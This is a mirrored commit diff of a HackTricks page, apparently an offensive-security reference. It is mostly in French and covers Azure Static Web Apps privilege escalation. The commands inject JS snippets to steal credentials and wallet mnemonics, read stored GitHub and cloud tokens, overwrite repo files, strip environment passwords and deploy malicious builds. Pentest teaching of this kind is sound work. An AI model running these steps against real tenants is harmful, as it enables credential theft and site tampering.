gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

Browse Source
This commit is contained in:
Translator
2026-01-18 11:54:28 +00:00
parent a5acd897ea
commit bb1c47ad6e
1 changed files with 36 additions and 29 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md
+36 -29
View File
@@ -4,7 +4,7 @@
## Azure Static Web Apps
Pour plus d'informations sur ce service, consultez :
For more information about this service check:
{{#ref}}
../az-services/az-static-web-apps.md
@@ -12,9 +12,9 @@ Pour plus d'informations sur ce service, consultez :
### Microsoft.Web/staticSites/snippets/write
Il est possible de faire charger une page web statique avec du code HTML arbitraire en créant un extrait. Cela pourrait permettre à un attaquant d'injecter du code JS dans l'application web et de voler des informations sensibles telles que des identifiants ou des clés mnémotechniques (dans des portefeuilles web3).
Il est possible de faire en sorte qu'une page web statique charge du code HTML arbitraire en créant un snippet. Cela pourrait permettre à un attaquant d'injecter du code JS dans la web app et de voler des informations sensibles telles que des identifiants ou des clés mnémoniques (dans les wallets web3).
La commande suivante crée un extrait qui sera toujours chargé par l'application web :
La commande suivante crée un snippet qui sera toujours chargé par la web app::
```bash
az rest \
--method PUT \
@@ -31,7 +31,7 @@ az rest \
}
}'
```
### Lire les identifiants de tiers configurés
### Lire les identifiants tiers configurés
Comme expliqué dans la section App Service :
@@ -39,14 +39,14 @@ Comme expliqué dans la section App Service :
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
En exécutant la commande suivante, il est possible de **lire les identifiants de tiers** configurés dans le compte actuel. Notez que si, par exemple, des identifiants Github sont configurés dans un utilisateur différent, vous ne pourrez pas accéder au token d'un autre.
En exécutant la commande suivante, il est possible de **lire les identifiants tiers** configurés dans le compte actuel. Notez que, par exemple, si des identifiants Github sont configurés pour un autre utilisateur, vous ne pourrez pas accéder au token depuis un utilisateur différent.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Cette commande renvoie des jetons pour Github, Bitbucket, Dropbox et OneDrive.
Cette commande retourne des tokens pour Github, Bitbucket, Dropbox et OneDrive.
Voici quelques exemples de commandes pour vérifier les jetons :
Voici quelques exemples de commandes pour vérifier les tokens :
```bash
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
@@ -69,14 +69,14 @@ curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Écraser un fichier - Écraser des routes, HTML, JS...
### Overwrite file - Overwrite routes, HTML, JS...
Il est possible de **écraser un fichier à l'intérieur du dépôt Github** contenant l'application via Azure en utilisant le **token Github** pour envoyer une requête telle que celle-ci, qui indiquera le chemin du fichier à écraser, le contenu du fichier et le message de commit.
Il est possible d'**overwrite un fichier inside the Github repo** contenant l'app via Azure disposant du **Github token**, en envoyant une requête comme la suivante qui indiquera le chemin du fichier à overwrite, le contenu du fichier et le message de commit.
Cela peut être exploité par des attaquants pour essentiellement **modifier le contenu de l'application web** afin de servir un contenu malveillant (voler des identifiants, des clés mnémotechniques...) ou simplement pour **rediriger certains chemins** vers leurs propres serveurs en écrasant le fichier `staticwebapp.config.json`.
Cela peut être exploité par des attaquants pour essentiellement **changer le contenu de la web app** afin de servir du contenu malveillant (voler des identifiants, des clés mnémoniques...) ou simplement **re-route certains chemins** vers leurs propres serveurs en overwriting le fichier `staticwebapp.config.json`.
> [!WARNING]
> Notez que si un attaquant parvient à compromettre le dépôt Github de quelque manière que ce soit, il peut également écraser le fichier directement depuis Github.
> Notez que si un attaquant parvient à compromettre le Github repo de quelque manière que ce soit, il peut également overwrite le fichier directement depuis Github.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
@@ -99,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
```
### Microsoft.Web/staticSites/config/write
Avec cette autorisation, il est possible de **modifier le mot de passe** protégeant une application web statique ou même de déprotéger chaque environnement en envoyant une requête telle que la suivante :
Avec cette permission, il est possible de **modifier le mot de passe** protégeant une static web app ou même de déprotéger chaque environnement en envoyant une requête telle que la suivante :
```bash
# Change password
az rest --method put \
@@ -133,32 +133,38 @@ az rest --method put \
```
### Microsoft.Web/staticSites/listSecrets/action
Cette permission permet d'obtenir le **jeton de déploiement de clé API** pour l'application statique :
Cette permission permet d'obtenir le **API key deployment token** pour l'application statique.
En utilisant az rest :
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Ensuite, afin de **mettre à jour une application en utilisant le token**, vous pourriez exécuter la commande suivante. Notez que cette commande a été extraite en vérifiant **comment fonctionne Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, car c'est celle qu'Azure a définie par défaut à utiliser. Ainsi, l'image et les paramètres pourraient changer à l'avenir.
Utilisation d'AzCLI :
```bash
az staticwebapp secrets list --name <appname> --resource-group <RG>
```
Ensuite, pour **mettre à jour une app en utilisant le token** vous pouvez exécuter la commande suivante. Notez que cette commande a été extraite en vérifiant **comment fonctionne Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, car c'est celle qu'Azure configure par défaut. Donc l'image et les paramètres pourraient changer à l'avenir.
> [!TIP]
> Pour déployer l'application, vous pourriez utiliser l'outil **`swa`** de [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) ou suivre les étapes brutes suivantes :
> Pour déployer l'app vous pouvez utiliser l'outil **`swa`** depuis [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) ou suivre les étapes brutes suivantes :
1. Téléchargez le dépôt [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ou tout autre dépôt que vous souhaitez déployer) et exécutez `cd react-basic`.
2. Modifiez le code que vous souhaitez déployer.
3. Déployez-le en exécutant (N'oubliez pas de changer le `<api-token>`):
1. Téléchargez le repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ou tout autre repo que vous souhaitez déployer) et exécutez `cd react-basic`.
2. Modifiez le code que vous voulez déployer
3. Déployez-le en lançant (N'oubliez pas de changer le `<api-token>`) :
```bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
> [!WARNING]
> Même si vous avez le token, vous ne pourrez pas déployer l'application si la **Politique d'Autorisation de Déploiement** est définie sur **Github**. Pour utiliser le token, vous aurez besoin de la permission `Microsoft.Web/staticSites/write` pour changer la méthode de déploiement afin d'utiliser le token API.
> Même si vous avez le token vous ne pourrez pas déployer l'app si la **Deployment Authorization Policy** est réglée sur **Github**. Pour utiliser le token vous aurez besoin de la permission `Microsoft.Web/staticSites/write` pour changer la méthode de déploiement afin d'utiliser le APi token.
### Microsoft.Web/staticSites/write
Avec cette permission, il est possible de **changer la source de l'application web statique vers un autre dépôt Github**, cependant, cela ne sera pas provisionné automatiquement car cela doit être fait à partir d'une action Github.
Avec cette permission il est possible de **changer la source de la static web app vers un autre repository Github**, cependant, elle ne sera pas provisionnée automatiquement car cela doit être fait depuis une Github Action.
Cependant, si la **Politique d'Autorisation de Déploiement** est définie sur **Github**, il est possible de **mettre à jour l'application à partir du nouveau dépôt source !**.
Cependant, si la **Deployment Authotization Policy** est réglée sur **Github**, il est possible de **mettre à jour l'app depuis le nouveau repository source !**.
Dans le cas où la **Politique d'Autorisation de Déploiement** n'est pas définie sur Github, vous pouvez la changer avec la même permission `Microsoft.Web/staticSites/write`.
Dans le cas où la **Deployment Authorization Policy** n'est pas réglée sur Github, vous pouvez la modifier avec la même permission `Microsoft.Web/staticSites/write`.
```bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
@@ -181,7 +187,7 @@ az rest --method PATCH \
}
}'
```
Exemple d'Action Github pour déployer l'application :
Exemple de Github Action pour déployer l'application :
```yaml
name: Azure Static Web Apps CI/CD
@@ -244,16 +250,16 @@ action: "close"
```
### Microsoft.Web/staticSites/resetapikey/action
Avec cette permission, il est possible de **réinitialiser la clé API de l'application web statique**, ce qui peut potentiellement provoquer un DoS des workflows qui déploient automatiquement l'application.
Avec cette autorisation, il est possible de **reset the API key of the static web app**, provoquant potentiellement un DoSing des workflows qui déploient automatiquement l'application.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
### Microsoft.Web/staticSites/createUserInvitation/action
Cette permission permet de **créer une invitation à un utilisateur** pour accéder à des chemins protégés à l'intérieur d'une application web statique avec un rôle spécifique donné.
Cette permission permet de **créer une invitation pour un utilisateur** pour accéder à des chemins protégés à l'intérieur d'une static web app avec un rôle donné.
La connexion se trouve dans un chemin tel que `/.auth/login/github` pour github ou `/.auth/login/aad` pour Entra ID et un utilisateur peut être invité avec la commande suivante :
Le login se trouve à un chemin tel que `/.auth/login/github` pour github ou `/.auth/login/aad` pour Entra ID, et un utilisateur peut être invité avec la commande suivante :
```bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
@@ -266,11 +272,12 @@ az staticwebapp users invite \
```
### Pull Requests
Par défaut, les Pull Requests d'une branche dans le même dépôt seront automatiquement compilées et construites dans un environnement de staging. Cela pourrait être abusé par un attaquant ayant un accès en écriture sur le dépôt mais sans pouvoir contourner les protections de branche de la branche de production (généralement `main`) pour **déployer une version malveillante de l'application** dans l'URL de staging.
Par défaut les Pull Requests provenant d'une branche du même repo seront automatiquement compilées et assemblées dans un environnement de staging. Cela pourrait être abusé par un attaquant disposant d'un accès en écriture sur le repo mais ne pouvant pas contourner les protections de branche de la branche de production (généralement `main`) pour **déployer une version malveillante de l'app** dans l'URL de statagging.
L'URL de staging a ce format : `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` comme : `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
> [!TIP]
> Notez qu'en règle générale, les PR externes ne lanceront pas de workflows à moins qu'elles n'aient fusionné au moins 1 PR dans le dépôt. Un attaquant pourrait envoyer une PR valide au dépôt et **ensuite envoyer une PR malveillante** au dépôt pour déployer l'application malveillante dans l'environnement de staging. CEPENDANT, il existe une protection inattendue, l'action Github par défaut pour déployer dans l'application web statique a besoin d'accès au secret contenant le token de déploiement (comme `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) même si le déploiement est effectué avec l'IDToken. Cela signifie qu'une PR externe n'aura pas accès à ce secret et qu'une PR externe ne peut pas modifier le Workflow pour y placer un token arbitraire sans qu'une PR soit acceptée, **cette attaque ne fonctionnera donc pas vraiment**.
> Notez que par défaut les external PRs n'exécutent pas les workflows à moins qu'ils n'aient fusionné au moins 1 PR dans le repository. Un attaquant pourrait envoyer un PR valide au repo puis **envoyer un PR malveillant** au repo pour déployer l'app malveillante dans l'environnement de stagging. CEPENDANT, il existe une protection inattendue : la default Github Action pour déployer dans la static web app nécessite l'accès au secret contenant le token de déploiement (comme `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) même si le déploiement est effectué avec l'IDToken. Cela signifie que, comme un external PR n'aura pas accès à ce secret et qu'un external PR ne peut pas changer le Workflow pour y placer un token arbitraire sans qu'un PR soit accepté, **cette attaque ne fonctionnera pas réellement**.
{{#include ../../../banners/hacktricks-training.md}}